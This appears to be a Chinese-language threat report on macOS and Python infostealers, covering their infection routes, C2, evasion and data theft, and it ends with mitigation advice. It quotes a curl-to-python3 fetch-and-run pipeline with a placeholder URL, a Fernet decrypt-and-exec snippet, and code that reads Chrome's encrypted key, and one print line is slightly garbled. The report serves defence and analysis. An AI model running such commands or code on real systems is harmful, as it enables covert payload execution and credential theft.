摘要
報告針對現代資訊竊取程式(Infostealers)進行全面技術分析,特別聚焦於針對 macOS 環境並利用 Python 實現跨平台能力的類型。內容涵蓋感染途徑、傳播機制、技術架構、規避偵測手法以及資料外洩方式。參考近期威脅情報,包含 DigitStealer、MacSync、AMOS、PXA Stealer 及 Katz Stealer 等具體範例,同時提出關鍵緩解與防護策略,以因應這些持續演進的威脅。
1. 簡介
網路威脅環境持續變化,資訊竊取程式因能悄無聲息竊取敏感資料而成為重大議題。過去主要針對 Windows,但如今逐漸擴及 macOS 環境,並利用 Python 等跨平台語言。此轉變讓攻擊者能以較少修改即可開發適用多種作業系統的惡意軟體。報告深入探討這些資訊竊取程式的技術細節,分析其運作方法,並強調用來規避偵測與竊取重要資訊的進階手法。
2. 威脅態勢與感染途徑
針對 macOS 使用者的資訊竊取程式攻擊活動日益增加,常利用社交工程手法欺騙受害者。這些手法包括偽造網站、假軟體更新以及 Malicious DMG 安裝檔。常見技巧為 ClickFix 式提示,引導使用者將指令複製貼上至 Terminal 執行 [1] 。此類方法有助於部署 macOS 專屬資訊竊取程式,例如 DigitStealer、MacSync 以及 Atomic macOS Stealer (AMOS) [1] 。
Python 編寫的資訊竊取惡意程式的增長,正逐漸引發更大的安全隱憂。Python 的跨平台相容性與開發便利性,使其成為 Threat actor 偏好的工具。此類竊取程式通常透過釣魚郵件散布,用於蒐集登入認證、Session cookies、authentication tokens、信用卡號碼以及加密貨幣錢包資料 [1] 。範例包含 PXA Stealer,其利用 Telegram 等正當服務進行命令與控制 (C2) 通訊,並採用混淆的 Python 腳本規避偵測 [1] 。
3. 技術架構與運作手法
3.1 macOS 專屬資訊竊取程式
針對 macOS 的資訊竊取程式(如 DigitStealer、MacSync 及 AMOS)常採用無檔案執行,並濫用 macOS 原生工具。它們利用
curl
、
base64
、
gunzip
以及 AppleScript (
osascript
) 等工具進行系統探勘、認證蒐集與資料外洩
[1]
。常見模式為 in-memory pipelines 下載並執行 malicious payload,例如:
curl -s <malicious_url> | base64 -d | gunzip | python3
此指令鏈下載經壓縮與 base64 編碼的 Python 腳本,解碼、解壓後直接於記憶體執行,讓鑑識分析更困難。此類竊取程式的目標為 macOS Keychain、瀏覽器認證儲存、加密貨幣錢包,以及 SSH 金鑰、Kubernetes 設定等開發者相關資料 [1] 。
3.2 Python 編寫的資訊竊取程式與 RAT
Python 的靈活性有利於快速開發功能強大的資訊竊取程式與遠端存取木馬 (Remote Access Trojans, RAT)。這些惡意軟體常採用模組化設計,讓攻擊者輕易調整與擴充功能。主要技術特點包含進階 C2 機制、持久化手法與規避策略。
3.2.1 命令與控制 (C2) 機制
Python RAT 經常濫用正當平台進行隱密通訊。例如部分利用 Discord API 建立 C2 通道,透過互動元素監聽指令。Discord 的加密流量與防火牆白名單特性使偵測難度增加 [2] 。另一常見方式為 WebSocket 協議,如 PY#RATION 利用 WebSocket 進行雙向 C2 通訊,模仿正常網頁應用程式流量,並常搭配 Fernet 等加密方式混淆 payload [2] 。
下圖呈現典型 C2 通訊流程:
3.2.2 持久化與規避技術
為維持存取並規避偵測,Python 編寫的惡意軟體採用多種持久化與規避手法:
-
啟動資料夾操控:
惡意軟體可能將自身複製至系統啟動資料夾,確保重開機後執行。例如某 Discord RAT 會將自身命名為
WindowsCrashHandaler.exe,並利用 Python 的os與shutil函式庫達成此目的 [2] 。 -
Process Hollowing:
此技術將 RAT 注入合法程序(如
msbuild.exe),規避應用程式白名單並混入正常系統活動 [2] 。 - 程式碼混淆與加密: Python 腳本常經過混淆或加密以阻礙靜態分析。Fernet 加密是常見選擇,讓資安分析人員難以在未解密情況下了解惡意軟體真實功能 [2] 。以下為 Python 中 Fernet 解密的範例:
- from cryptography.fernet import Fernet
- # Example encrypted data and key (in a real scenario, these would be embedded or fetched)
- encrypted_data = b'gAAAAABk...'
- key = Fernet.generate_key() # In a real attack, the key would be hardcoded or derived
- cipher = Fernet(key)
- decrypted_data = cipher.decrypt(encrypted_data)
- exec(decrypted_data) # Executes the decrypted malicious code
此片段展示 Python 竊取程式如何動態解密並執行核心 malicious payload,讓傳統防毒軟體難以偵測。
3.3 資料外洩
資訊竊取程式用於蒐集各式敏感資訊,包括瀏覽器認證、儲存密碼、Session cookies、authentication tokens 以及加密貨幣錢包資料
[1]
。以 Katz Stealer 為例,其專門針對 Chromium 系瀏覽器使用的 SQLite 資料庫(例如
Login Data
、
Cookies
、
Web Data
)以及 Firefox/Gecko 瀏覽器(例如
cookies.sqlite
、
logins.json
、
key4.db
)
[3]
。同時掃描加密貨幣錢包檔案,並可劫持 Discord、Telegram 等通訊平台以竊取 Session tokens
[3]
。
4. 規避與反分析技術
進階資訊竊取程式融入多種規避偵測與分析的技術:
- Geofencing: 部分惡意軟體(如 Katz Stealer)具備地理圍欄功能,若受害系統符合 hardcoded 的國家代碼或語言設定即終止執行,避免在特定區域被分析 [3] 。
- 虛擬機器與沙箱偵測: 攻擊者常實作檢查以辨識虛擬化環境或沙箱,例如分析登錄機碼中的虛擬化指標、檢查螢幕解析度(例如標記 ≤1024×768 的系統),或監控執行時間(例如運行時間低於 10 分鐘即終止) [3] 。
- 反鑑識: 採用記憶體清除、濫用正當程序(例如劫持 Discord 或 Telegram 等 Electron 應用程式)等技術,清除惡意活動痕跡並融入正常網路流量 [3] 。
-
Chrome Application-Bound Encryption (ABE) 繞過:
Katz Stealer 展示進階技術繞過 Chrome 的 ABE 保護機制。此方法涉及提取
Local State檔案、濫用 COM 介面取得解密金鑰,並以明文儲存金鑰 [3] 。類似開源工具 ChromeKatz 則透過記憶體爬梳提取未加密 cookies [3] 。
- # Conceptual Python code for extracting Chrome's Local State file (simplified)
- import os
- import json
- def get_chrome_local_state_path():
- # This path varies by OS and user profile
- # Example for macOS: ~/Library/Application Support/Google/Chrome/Local State
- # Example for Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
- # For this example, we'll assume a generic path for illustration
- return os.path.expanduser('~/Library/Application Support/Google/Chrome/Local State')
- def extract_encrypted_key(local_state_path):
- if not os.path.exists(local_state_path):
- return None
- with open(local_state_path, 'r', encoding='utf-8') as f:
- local_state = json.load(f)
- # The encrypted key is typically base64 encoded and stored under 'os_crypt' -> 'encrypted_key'
- encrypted_key_b64 = local_state.get('os_crypt', {}).get('encrypted_key')
- return encrypted_key_b64
- local_state_file = get_chrome_local_state_path()
- encrypted_key = extract_encrypted_key(local_state_file)
- if encrypted_key:
- print(f
- ("Extracted Encrypted Key (Base64):", encrypted_key)
- else:
- print("Could not find Chrome Local State file or encrypted key.")
此概念性 Python 程式碼說明從 Chrome
Local State
檔案提取加密金鑰的初步步驟。後續解密與 COM 介面濫用涉及更複雜的作業系統 API 互動,通常需要提升權限。
5. 緩解與防護策略
為有效對抗 macOS Python 資訊竊取程式與平台濫用威脅,需採取多層防禦策略。組織與個人應著重提升使用者警覺、強化端點環境、控管外連流量,並建置針對 Python Malicious payload 的堅固防線 [1] 。
- 使用者警覺與執行防護: 教育使用者辨識社交工程誘餌,例如惡意廣告(Malvertising )重導向鏈(Redirect chains)、假安裝程式以及 ClickFix 式提示。勸阻安裝未簽署 DMG 檔案或非官方「terminal-fix」工具,強化消費者與企業 macOS 系統的安全下載習慣 [1] 。
-
強化 macOS 環境:
監控可疑 Terminal 活動,特別是涉及
curl、Base64解碼、gunzip、osascript或 JXA 呼叫的執行流程,此為 macOS 竊取程式的常見特徵。偵測無檔案執行模式(如 In-memory pipelines),並運用自訂偵測規則警示對 Keychain 與瀏覽器認證儲存等敏感區域的異常存取 [1] 。 - 控管外連流量與暫存行為: 檢查指向新註冊或可疑域名的 POST 請求,此為資訊竊取活動的重要指標。偵測暫存目錄中短暫建立 ZIP 壓縮檔後接外連外洩行為。盡可能阻斷已知 C2 基礎設施的直接存取,並善用威脅情報來源 [1] 。
-
防護 Python 竊取程式:
強化端點對 Living Off The Land Binaries (LOLBIN) 濫用的防護,例如
certutil.exe解碼 Malicious payload。評估 AutoIt 工具與 process hollowing 等平台濫用常見活動 [1] 。 - 進階端點防護: 導入雲端防護的防毒解決方案,以涵蓋快速演進的攻擊工具與技術。啟用 Endpoint Detection and Response (EDR) 阻斷模式自動修復 Malicious artifact。開啟網路與網頁防護以阻擋惡意網站。鼓勵使用支援進階威脅防護功能(如 Microsoft Defender SmartScreen)的網頁瀏覽器 [1] 。
- 攻擊面縮減: 實作攻擊面縮減規則,阻擋可能經過混淆的腳本執行、防止可執行檔在不符合特定條件(流行度、年齡或信任清單)下運行,以及阻擋 JavaScript 或 VBScript 啟動下載的可執行內容 [1] 。
6. 結論
macOS Python 資訊竊取程式興起以及對可信平台的濫用,代表網路威脅環境的重要演變。攻擊者日益利用跨平台能力、精巧社交工程與進階規避技術來竊取敏感資料。Python 惡意軟體的模組化設計,加上利用正當服務進行 C2 與資料外洩的能力,凸顯建置堅固多層防禦策略的必要性。有效緩解需結合提升使用者警覺、嚴格端點安全、網路流量監控,以及持續調整偵測機制以對抗這些持久且不斷演進的威脅。未來發展可能包含更進階的混淆、AI 輔助規避,以及進一步利用正當雲端服務,因此需採取主動且情報驅動的資安方法。